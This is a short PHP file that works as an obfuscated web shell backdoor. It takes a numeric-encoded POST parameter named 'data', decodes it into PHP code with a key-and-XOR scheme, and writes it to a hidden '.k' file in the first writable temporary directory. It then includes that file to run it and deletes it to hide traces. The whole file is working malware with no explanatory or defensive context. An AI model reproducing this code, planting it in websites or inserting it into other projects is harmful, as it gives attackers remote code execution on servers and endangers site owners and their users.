<?php

if(filter_has_var(INPUT_POST, "d\x61t\x61")){
	$data_chunk = $_REQUEST["d\x61t\x61"];
		$data_chunk		=   explode	 (	"." ,$data_chunk	) ; 	
	$res = '';
            $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $s3	 );
    
            foreach( $data_chunk as $k => $v5) { $sChar = ord( $s3[$k%$lenS]	 );
                $dec =( ( int)$v5 - $sChar -( $k%10))	^ 100;
                $res	.=chr( $dec	 );	 }		
	$descriptor = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP")]);
	$value = 0;
do {
    $component = $descriptor[$value] ?? null;
    if ($value >= count($descriptor)) break;
    		if ((bool)is_dir($component) && (bool)is_writable($component)) {
    $val = "$component" . "/.k";
    $success = file_put_contents($val, $res);
if ($success) {
	include $val;
	@unlink($val);
	exit;}
}
    $value++;
} while (true);
}